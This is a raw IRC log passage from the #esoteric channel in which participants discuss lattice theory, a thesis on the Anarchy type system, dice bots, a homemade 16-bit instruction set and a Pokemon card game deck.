:oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :a lattice has infs and sups of pairs, and thus all finite ones. < 1394046949 111897 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: ah right, so the definition of an ordinary lattice can take the infimum or supremum of two objects, a complete lattice can consistently take it of more than two < 1394046951 20974 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's the difference < 1394046972 4922 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :just looked it up < 1394046973 738969 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394046981 187521 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well finite follows from two. < 1394046990 833418 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :except for zero. < 1394047021 175656 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394047043 187212 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-'s < 1394047047 76369 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: ah right, meet and join have to be associative and commutative < 1394047060 142065 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'm crazy enough that I was considering a lattice-like structure where they weren't < 1394047084 710830 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm < 1394047111 917288 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, incidentally, esolangs meet "proper" research: writing up my PhD thesis, my major goal right now (in fact, one of the major results) is to do with Anarchy's type system, in the absence of recursion < 1394047132 826882 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well it follows automatically if they're meet and join defined from actual partial orders. < 1394047181 535709 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :so did you prove it TC < 1394047222 32086 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ACTION guesses it wouldn't be, but couldn't resist joking < 1394047290 770875 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oerjan: actually one major result is that it isn't, in the absence of recursion < 1394047302 839373 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :/really/ major, in that it can trivially be used to prove typed lambda calculus sub-TC < 1394047311 239305 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which is an existing result, but one that it's nice to be able to easily replicate < 1394047410 807377 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394047435 775843 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well that analogy is why i guessed it wouldn't be TC < 1394047509 960322 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :like with any of simple types/hindley-milner/system F, you need explicit recursion to make it TC < 1394047613 195839 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and many even stronger type systems are terminating without recursion afaiu < 1394047839 30784 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Anarchy the language does have recursion, though, which probably makes it undecidable to compile < 1394047859 655141 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I may put restrictions on it to make the type system decidable, especially as its purpose as a language doesn't need TCness and would benefit from totality < 1394047860 202775 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :huh < 1394047865 325105 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1394048356 418789 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm the buggy behavior of IE's tab grouping just got weirder < 1394048394 383618 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i now have a purple tab between two dark blue ones, all of which started out as the same group < 1394048439 114856 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :normally, when i drag a tab in between two in the same group, it gets joined to them. < 1394048490 619407 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :but presumably somehow it thinks both that it already is in their group and doesn't need to be joined, and that it isn't and therefore gets a different color. < 1394048587 18446 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can you tell me if my program is OK? < 1394048587 303678 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :managed to fix it by removing another one of them from the group, then reinserting it, then permuting wildly until all got the same color again. < 1394048743 299961 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm as i close all but one tab of the group, a bug remains: the tab doesn't lose its color like normal. < 1394048788 68361 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :might wonder wtf they did to get this behavior. i have a hunch about broken linked lists. < 1394048904 408578 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I'd find it hard to believe that Microsoft don't have a standardised internal library for list linking < 1394048941 899352 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :`unidecode Ypnypn < 1394048942 979357 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​[U+0059 LATIN CAPITAL LETTER Y] [U+0070 LATIN SMALL LETTER P] [U+006E LATIN SMALL LETTER N] [U+0079 LATIN SMALL LETTER Y] [U+0070 LATIN SMALL LETTER P] [U+006E LATIN SMALL LETTER N] < 1394048984 991340 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm i guess they weren't as cyrillic as they seemed in recent changes < 1394049038 187167 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that isn't particularly pronounceable in cyrillic either, is it? < 1394049064 775852 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :urpurp isn't so bad... < 1394049096 813051 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :oh, cyrillic n is pronounced "p"? didn't know that one < 1394049103 858786 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's a pi, really < 1394049105 767128 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I guess "urnurn" isn't bad either < 1394049180 607147 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, cyrillic "italic" is weird. < 1394049214 727415 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :enough so that i get annoyed when something cyrillic gets accidentally italicized, because i cannot transcribe it < 1394049358 435228 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which happens in google translate if i try to write something russian with latin letters - it'll guess what cyrillic letters i mean, but it shows them italicized so it's not obvious to me if it's guessed correctly. < 1394049369 919362 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :not that i do this often, anyway < 1394049598 241211 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :actually tried to test it now and it switches randomly between suggestions in cyrillic, italic cyrillic and latin < 1394050067 383394 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :If making a instruction set with some general purpose registers, if you have a [R++] and [--R] addressing mode, if some of these "general purpose" registers also includes the program counter and stack pointer then you don't need a immediate addressing mode, and you don't need more modes for stack either. < 1394050700 916314 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1394050841 770353 :Vorpal!~Vorpal@unaffiliated/vorpal PRIVMSG #esoteric :Huh, just found out Chrome OS uses portage from Gentoo for package management. Probably old news to everybody else. < 1394051271 492212 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Can you install Chrome OS on anywhere, or is it just for Chromebooks and such? < 1394051292 84716 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, there's a similar Chrome OS / Chromium OS thing going on? I guess that makes sense. < 1394051362 461046 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Just for the terminology, maybe they should set up a separate company called Googlium to do all things related to the open-source efforts.) < 1394051365 499187 :ion!ion@heh.fi PRIVMSG #esoteric :http://www.chord.co.uk/blog/new-chord-ethernet-cables/ < 1394051398 749143 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :ion: TUNED ARAY < 1394051452 167909 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Wow, a directional Ethernet cable. < 1394052463 155833 :tertu!~tertu@143.44.70.199 JOIN :#esoteric < 1394052721 236072 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 240 seconds < 1394052810 646508 :Sprocklem!~Sprocklem@199.185.88.147 JOIN :#esoteric < 1394052999 415160 :ais523!~ais523@unaffiliated/ais523 QUIT : < 1394053249 135589 :itsy!~digital_w@37.152.198.84 QUIT :Ping timeout: 240 seconds < 1394053723 263352 :itsy!~digital_w@37.152.198.84 JOIN :#esoteric < 1394053873 315218 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can you tell me if my pattern matching instructions program looks like OK to you? http://sprunge.us/adVO Or if, you thikn I did something wrong? < 1394054161 214920 :quintopia!~quintopia@unaffiliated/quintopia QUIT :Ping timeout: 240 seconds < 1394054655 384175 :quintopia!~quintopia@unaffiliated/quintopia JOIN :#esoteric < 1394055022 754874 :Bike!~Glossina@wl-nat103.it.wsu.edu QUIT :Ping timeout: 252 seconds < 1394055961 649277 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Do we have a dicebot < 1394055965 717573 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :~help dice < 1394055967 911964 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :1d4 < 1394055968 96897 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :shachaf: 1 < 1394055973 240389 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :d20 < 1394055973 425179 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :shachaf: 1 < 1394055981 903741 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :... < 1394055982 580301 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :seems p. suspicious < 1394055985 286945 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :d129 < 1394055985 472421 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Taneb: 65 < 1394055991 258416 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :cool < 1394055993 994960 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :1d2 < 1394055994 180229 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Taneb: 1 < 1394056007 335909 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :lambdabot, thank you lambdabot < 1394056016 887829 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :@botsnack < 1394056017 73630 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric ::) < 1394056034 534729 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :wait, that has a contextual match? < 1394056040 814336 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :@dice 3d6 < 1394056040 999235 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :int-e: 4+6+4 => 14 < 1394056045 566855 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :3d6 < 1394056045 751889 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :int-e: 4+2+3 => 9 < 1394056055 428464 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :99d6 < 1394056055 613804 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :int-e: 345 < 1394056083 999143 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :I'm surprised that I have not seen this trigger accidentally. < 1394056107 853652 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You could also use the dice function built-in to FurryScript. < 1394056116 859909 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Which may be somewhat more sophisticated. < 1394056133 784319 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :3d1 + 3d2 + 3d3 + 3d4 < 1394056133 969321 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :int-e: (1+1+1) + (2+1+1) + (1+2+2) + (2+3+4) => 21 < 1394056176 241284 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Documentation is at: http://esolangs.org/wiki/User:Zzo38/FurryScript#Dice < 1394056365 935691 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I don't think it is installed on HackEgo, but if it has PHP then you can. < 1394056459 755612 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(Or else to rewrite it in C and make it go faster) < 1394056720 221844 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It doesn't seem to have PHP, or even SQLite. < 1394056925 355208 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You should install SQL on there < 1394056949 703676 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`` java < 1394056952 555646 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Usage: java [-options] class [args...] \ (to execute a class) \ or java [-options] -jar jarfile [args...] \ (to execute a jar file) \ where options include: \ -d32 use a 32-bit data model if available \ -d64 use a 64-bit data model if available \ -server to select the "server" VM \ -jamvm to select < 1394056964 804477 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :ok. it has that. I agree then :P < 1394056973 673472 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :O, so they do have Java < 1394057050 374257 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :But they should install other things too such as SQLite < 1394057084 633122 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And PHP (which isn't actually very good, but since there are some program written in PHP, you should install it so that you can use programs which are written in PHP). < 1394057088 234931 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394057100 143110 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :Ping timeout: 264 seconds < 1394057316 192656 :tertu!~tertu@143.44.70.199 QUIT :Ping timeout: 264 seconds < 1394058096 853830 :Sprocklem!~Sprocklem@199.185.88.147 QUIT :Ping timeout: 244 seconds < 1394058739 65860 :iamcal___!sid1110@gateway/web/irccloud.com/x-ceyrzjtbangpqxqq QUIT :Read error: Connection reset by peer < 1394058757 554810 :iamcal___!sid1110@gateway/web/irccloud.com/x-ivncbqczqxjotasy JOIN :#esoteric < 1394059604 116708 :oerjan!oerjan@sprocket.nvg.ntnu.no QUIT :Quit: leaving < 1394060142 743239 :Slereahphone!~slereahph@80.10.159.111 QUIT :Quit: Colloquy for iPhone - http://colloquy.mobi < 1394060322 359314 :itsy!~digital_w@37.152.198.84 PRIVMSG #esoteric :https://twitter.com/john_metcalf/status/441346697038270464 :-) < 1394060800 861842 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :~dice < 1394060805 341895 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :oh, right < 1394060818 909845 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :^dice < 1394060828 67867 :FireFly!~firefly@oftn/member/FireFly PRIVMSG #esoteric :`ls bin < 1394060829 59903 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​` \ ^.^ \ ̊ \ ? \ ¿ \ @ \ ؟ \ WELCOME \  \  \ aaaaaaaaa \ addquote \ addwep \ allquotes \ anonlog \ as86 \ aseen \ bienvenido \ botsnack \ bseen \ buttsnack \ calc \ CaT \ catcat \ cats \ cdecl \ c++decl \ chroot \ coins \ complain \ complaints \ danddreclist \ define \ delquote \ delvs \ dis86 \ e \ echo \ echo \ ello \ < 1394060836 245904 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :@dice < 1394060836 431112 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :unexpected end of input: expecting number, "d" or "(" < 1394060848 305172 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :@dice 1d6 < 1394060848 490163 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :olsner: 5 < 1394061084 313999 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You should tell Gregor to install PHP and SQLite. < 1394061115 170189 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :`WELCOME < 1394061116 518396 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​WELCOME TO THE INTERNATIONAL HUB FOR ESOTERIC PROGRAMMING LANGUAGE DESIGN AND DEPLOYMENT! FOR MORE INFORMATION, CHE < 1394061250 345097 :MoALTz!~no@user-31-175-247-158.play-internet.pl QUIT :Quit: Leaving < 1394061585 600535 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1394062952 769216 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1394063213 929495 :nooodl!~nooodl@91.177.100.186 QUIT :Quit: Ik ga weg < 1394063585 383455 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: Changing server < 1394064613 301331 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394064806 770852 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394064807 26566 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394064998 327403 :HackEgo!~HackEgo@162.248.166.242 QUIT :Ping timeout: 240 seconds < 1394065896 282473 :variable!root@freebsd/developer/variable NICK :trout < 1394066056 886145 :quintopia!~quintopia@unaffiliated/quintopia QUIT :Remote host closed the connection < 1394066428 196871 :quintopia!~quintopia@unaffiliated/quintopia JOIN :#esoteric < 1394066567 363793 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394067283 432995 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1394067887 368493 :yorick!~yorick@oftn/member/yorick QUIT :Remote host closed the connection < 1394067994 146696 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Quit: Leaving < 1394068044 859355 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Huh, idris-ircslave is still here < 1394068296 247071 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Is it supposed to be? < 1394068326 436005 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't know, but I'm surprised, since I thought oerjan was getting annoyed < 1394068395 93188 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :oerjan can program their computer to hide those messages if they are getting annoyed < 1394068760 533882 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Can we still find compilers for the programming languages mentioned in http://esolangs.org/wiki/Prehistory_of_esoteric_programming_languages ? < 1394068811 345914 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :P'' is trivial to write a P''->BF compiler for, apparently < 1394068830 659330 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, I know that one < 1394068833 132311 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :....APL is considedred an esolang? < 1394068838 550945 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Pretty sure it's still alive today < 1394068857 307162 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I mean EXPLOR and TRAC and TMG and that stuff < 1394068874 520867 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :And the Bell Labs Low Level Linked List Language < 1394069099 73255 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Although you are correct probably APL is still used today. < 1394069233 190968 :sebbu!~sebbu@unaffiliated/sebbu QUIT :Ping timeout: 240 seconds < 1394069547 9975 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394070353 116936 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394070360 391583 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394071414 72537 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1394072018 564252 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :kmc... isn't here < 1394073611 755455 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394074808 766076 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1394076015 869799 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394076236 551949 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394078073 72961 :tertu!~quassel@143.44.65.14 JOIN :#esoteric < 1394078126 762795 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394079063 217094 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://o.onionstatic.com/images/25/25447/original/700.jpg?9613 < 1394079079 772338 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Huh, no crying Statue of Liberty. How unusual < 1394080171 147427 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394080209 761125 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394080347 12688 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394080724 867710 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394081097 754964 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The two cards which can beat a 59eye1Mewtwo deck have many things in common: Both are level fifteen, both are weak to fire and resisted to nothing, both cards can evolve into two further stages... < 1394081235 512230 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :As far as I can tell they are the only two cards in PokemonCardGB2 which will beat it. < 1394081476 238684 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net JOIN :#esoteric < 1394082370 327154 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :one card can beat an entire deck? < 1394082411 127722 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, although this "entire deck" is just one card and the rest are energy. < 1394082424 91735 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Same thing with the deck consisting of the other card; it has to be one card and the rest are energy. < 1394082479 663780 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1394082988 14304 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :zzo38: you mean that deck can beat any deck that isn't one of those two cards plus energy? < 1394082997 331084 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :that sounds ridiculously broken < 1394083509 926419 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :quintopia: No, that isn't what I mean. < 1394083521 570571 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :In most cases one or the other might win. < 1394083559 878111 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the deck being beaten is the one with only a card plus energy. < 1394083599 443219 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Both decks consist of just one non-basic-energy card. < 1394083674 899539 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :For my report, so that you can see what I mean, see: http://zzo38computer.org/textfile/miscellaneous/pokemon_card/59eye1mewtwo.txt < 1394083790 817408 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The only reason it is "ridiculously broken" is because most people still play Constructed. < 1394084176 736367 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1394084371 491013 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Maybe you know of other cards which can? < 1394084385 483713 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Or, cards which beat the deck which beats that one? < 1394084472 916906 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Remote host closed the connection < 1394084965 471454 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Let's see which card can beat BULBASAUR [Lv15] but that MEWTWO [Lv53] beats it. < 1394085211 924466 :Tod-Autojoined!~Tod@c-71-199-36-196.hsd1.ut.comcast.net QUIT :Quit: This is me, signing off. Probably rebooting or something. < 1394085618 302414 :Sprocklem!~Sprocklem@S010674440130be65.cg.shawcable.net QUIT :Ping timeout: 240 seconds < 1394085632 875329 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394085788 209445 :Slereahphone!~slereahph@80.10.159.111 QUIT :Client Quit < 1394086217 631620 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1394086406 771572 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1394086406 995541 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1394086751 411127 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I found no card which satisfies these conditions. < 1394087273 594068 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How urgent is it for me to replace the idris bot with one that doesn't collide with lambdabot? < 1394087391 62842 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :more important than your life. < 1394087427 844391 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You can disable the function that collides with lambdabot < 1394087455 832703 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You can make it if send a message by private or starting with its name and a colon, it will activate, unless the message is a NOTICE. < 1394087621 531273 :TodPunk!~Tod@c-71-199-36-196.hsd1.ut.comcast.net JOIN :#esoteric < 1394090477 480609 :FreeFull!~freefull@defocus/sausage-lover QUIT : < 1394090546 300117 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394090796 947369 :Slereahphone!~slereahph@80.10.159.111 QUIT :Client Quit < 1394091028 89903 :Slereahphone!~slereahph@80.10.159.111 JOIN :#esoteric < 1394091169 159312 :tertu!~quassel@143.44.65.14 QUIT :Ping timeout: 240 seconds < 1394091253 712751 :vravn!~vravn@syn.rook.sx QUIT :Excess Flood < 1394091446 940022 :vravn!~vravn@syn.rook.sx JOIN :#esoteric < 1394091476 98511 :Slereahphone!~slereahph@80.10.159.111 QUIT :Read error: Connection reset by peer < 1394091552 560231 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Quit: leaving < 1394091569 68943 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu QUIT :Quit: leaving < 1394091678 918629 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1394091977 349263 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1394095146 23378 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I made up 16-bits instruction set today. It has eight addressing modes: R [R] [R++] [--R] [R+I] [R+[I]] [[R]+I] [[R]+[I]] < 1394095171 910686 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It also has eight registers; the stack pointer and program counter are also considered general-purpose registers. < 1394095314 129380 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It has thirty "2OP" instructions, sixteen "1OP" instructions, and one "0OP" instruction. 2OPs are: LEA MOV MZS MZC MCS MCC MNS MNC ADD ADC SUB SBC AND IOR XOR ANN CMP MSK LDI STI LLO LHO SLO SHO DAD DAC DSB DSC SHD AAB. 1OPs are: LSH LSC RSH RSC INC DEC LFL SFL SIA ASR SIS REV PMI DBN BZE BNZ. 0OPs are: FLG. < 1394095496 886340 :tromp!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1394095761 777546 :tromp!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 244 seconds < 1394095976 95159 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1394096623 782555 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1394096813 239311 :MoALTz!~no@user-31-175-247-158.play-internet.pl JOIN :#esoteric < 1394096853 622309 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you know of any other instructions sets where there isn't a normal uncondition branch instruction and you use something like MOV P,[P++] instead? < 1394097127 479698 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :ARM can do things like that (for example returning can be done as pop pc), but it also has "normal" branch instructions < 1394097159 290896 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Why do you need normal branch instructions if it has that? < 1394097164 441020 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Sgeo: sometimes i'm more patient than i expect. sometimes less. < 1394097251 528027 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :because they are shorter - 32 bits of instruction has at least ~20 bits over for an offset, so you use those when you can and only resort to the indirect jumps when you must < 1394097267 778699 :olsner!~salparot@c83-252-203-32.bredband.comhem.se PRIVMSG #esoteric :e.g. when the program is larger than n MB, or linked in such a way that you don't know where the called code might be < 1394097300 